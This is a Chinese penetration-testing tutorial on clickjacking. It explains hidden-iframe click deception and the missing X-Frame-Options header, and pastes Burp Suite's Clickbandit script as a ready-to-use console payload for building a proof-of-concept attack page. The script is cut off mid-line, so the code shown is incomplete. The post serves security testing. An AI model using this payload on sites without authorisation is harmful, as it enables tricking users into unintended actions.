渗透测试成长篇-点击劫持漏洞

本文详细介绍了点击劫持的概念,它是一种利用透明iframe欺骗用户点击的攻击手段。文章通过实例展示了如何使用Burp Suite的专业功能进行点击劫持测试,并提供了一种简单的测试方法。当网站缺少X-FRAME-OPTIONS头时,容易遭受点击劫持。修复建议是设置X-FRAME-OPTIONS头,如DENY、SAMEORIGIN或ALLOW-FROM来防止页面被嵌入到恶意iframe中。

1.前言

点击劫持就是一种视觉上的欺骗手段,攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户在不知情的情况下点击了透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上,攻击者常常配合社工手段完成攻击。(一般能被劫持就是网站缺少X-FRAME-OPTIONS)

************  点击劫持一般在渗透测试中比较常见

2.过程

如何测试,有两种方法,今天就讲一种最简单常用的方式(burpsuite模块)

在这里就用测过的一个站点做例子吧

1)这是一个正常的站点

 2)我们需要打开burpsuite,选择burp模块,再去选择一个点击劫持模块

3)复制payload,然后打开刚才的站点,选择开发者模式

4)把复制的payload粘贴到console模块

5)payload如下,可以直接使用

/* Copyright PortSwigger Ltd. All rights reserved. Usage is subject to the Burp Suite license terms. See https://portswigger.net for more details. */
!function(){
    var initialZoomFactor = '1.0', win, doc, width, height, clicks = [];
    function addClickTrap(element, minusY) {
        var clickTrap = doc.createElement('div'), cords = findPos(element);
        clickTrap.style.backgroundColor = 'none';
        clickTrap.style.border = 'none';
        clickTrap.style.position = 'absolute';
        clickTrap.style.left = cords[0] + 'px';
        clickTrap.style.top = cords[1] + 'px';
        clickTrap.style.width = element.offsetWidth + 'px';
        clickTrap.style.height = element.offsetHeight + 'px';
        if(element.zIndex || element.zIndex === '0') {
            clickTrap.style.zIndex = +element.zIndex+1;
        }
        clickTrap.style.opacity = '0.5';
        clickTrap.style.cursor = 'pointer';
        clickTrap.clickTrap = 1;
        clickTrap.addEventListener('click', function(e) {
            generatePoc({x:e.pageX, y: minusY?e.pageY-minusY : e.page});
            e.preventDefault();
            e.stopPropagation();
            return false;
        }, true);
        doc.body.appendChild(clickTrap);
    }
    function addMessage(msg) {
        var message = document.createElement('div');
            message.style.width = '100%';
            message.style.height = '20px';
            message.style.backgroundColor = '#fff5bf';
        message.style.border = '1px solid #ff9900';
        message.style.padding = '5px';
        message.style.position = 'fixed';
        message.style.bottom = '0';
        message.style.left = '0';
        message.style.zIndex = 100000;
        message.style.textAlign = 'center';
        message.style.fontFamily = 'Arial';
        message.style.color = '#000';
        message.appendChild(document.createTextNode(msg));
        document.body.appendChild(message);
        setTimeout(function() {
            document.body.removeChild(message);
        }, 4000);
    }
    function htmlEscape(str) {
        str = str + '';
        return str.replace(/[^\w :\-\/.?=]/gi, function(c){
            return '&#' + (+c.charCodeAt(0))+';';
        });
    }
    function getDocHeight(D) {
        return Math.max(
            D.body.scrollHeight, D.documentElement.scrollHeight,
            D.body.offsetHeight, D.documentElement.offsetHeight,
            D.body.clientHeight, D.documentElement.clientHeight
        );
    }
    function getDocWidth(D) {
        return Math.max(
            D.body.scrollWidth, D.documentElement.scrollWidth,
            D.body.offsetWidth, D.documentElement.offsetWidth,
            D.body.clientWidth, D.documentElement.clientWidth
        );
    }
    function findPos(obj) {
        var left = 0, top = 0;
        if(obj.offsetParent) {
            while(1) {
              left += obj.offsetLeft;
              top += obj.offsetTop;
              if(!obj.offsetParent) {
                break;
              }
              obj = obj.offsetParent;
            }
        } else if(obj.x && obj.y) {
            left += obj.x;
            top += obj.y;
        }
        return [left,top];
      }
    function generatePoc(config) {
        var html = '', child = '', elementWidth = 1, elementHeight = 1, maxWidth = width, maxHeight = height, cords, zoomIncrement = 1, desiredX = 200, desiredY = 200, parentOffsetWidth, parentOffsetHeight,
            element = config.element, x = config.x, y = config.y, pixelMode = false;
        if(config.clickTracking) {
            elementWidth = config.clickTracking[0].width;
            elementHeight = config.clickTracking[0].height;
            x = config.clickTracking[0].left;
            y = config.clickTracking[0].top;
            zoomIncrement = 1;
            config.currentPosition = 0;
        } else {
            config.clickTracking = [];
            if(element) {
                elementWidth = element.offsetWidth;
                elementHeight = element.offsetHeight;
                cords = findPos(element);
                x = cords[0];
                y = cords[1];
                zoomIncrement = 1;
            } else {
                zoomIncrement = 5;
                pixelMode = true;
            }
        }
        parentOffsetWidth = desiredX - x;
        parentOffsetHeight = desiredY - y;
        child = btoa('<script>window.addEventListener("message", function(e){ var data, childFrame = document.getElementById("childFrame"); try { data = JSON.parse(e.data); } catch(e){ data = {}; } if(!data.clickbandit){ return false; } childFrame.style.width = data.docWidth+"px";childFrame.style.height = data.docHeight+"px";childFrame.style.left = data.left+"px";childFrame.style.top = data.top+"px";}, false);<\/script><iframe src="'+htmlEscape(self.location)+'" scrolling="no" style="width:'+(+maxWidth)+'px;height:'+(+maxHeight)+'px;position:absolute;left:'+parentOffsetWidth+'px;top:'+parentOffsetHeight+'px;border:0;" frameborder="0" '+(window.clickbandit.sandbox?'sandbox="allow-same-origin    '+htmlEscape(document.getElementById('sandboxIframeInput').value)+'" ':'')+'id="childFrame" onload="parent.postMessage(JSON.stringify({clickbandit:1}),\'*\')"><\/iframe>');
        html += '<body>\n';
        html += '<div id="container" style="clip-path:none;clip:auto;overflow:visible;position:absolute;left:0;top:0;width:100%;height:100%">\n';
        html += '<!-- Clickjacking PoC Generated by Burp Suite Professional -->\n';
        html += '<input id="clickjack_focus" style="opacity:0;position:absolute;left:-5000px;">\n';
        html += '<div id="clickjack_button" style="opacity:0;-webkit-transform-style: preserve-3d;-moz-transform-style: preserve-3d;transform-style: preserve-3d;text-align:center;font-family:Arial;font-size:100%;width:'+elementWidth+'px;height:'+elementHeight+'px;z-index:0;background-color:red;color:#fff;position:absolute;left:'+(+desiredX)+'px;top:'+(+desiredY)+'px"><div style="position:relative;top: 50%;transform: translateY(-50%);">Click<\/div><\/div>\n';
        html += '<!-- Show this element when clickjacking is complete -->\n';
        html += '<div id="clickjack_complete" style="display:none;-webkit-transform-style: preserve-3d;-moz-transform-style: preserve-3d;transform-style: preserve-3d;font-family:Arial;font-size:16pt;color:red;text-align:center;width:100%;height:100%;"><div style="position:relative;top: 50%;transform: translateY(-50%);">You\'ve been clickjacked!<\/div></div>\n';
        html += '<iframe id="parentFrame" src="data:text/html;base64,'+child+'" frameborder="0" scrolling="no" style="-ms-transform: scale('+initialZoomFactor+');-ms-transform-origin: '+desiredX+'px '+desiredY+'px;transform: scale('+initialZ

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_GUOGUO

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值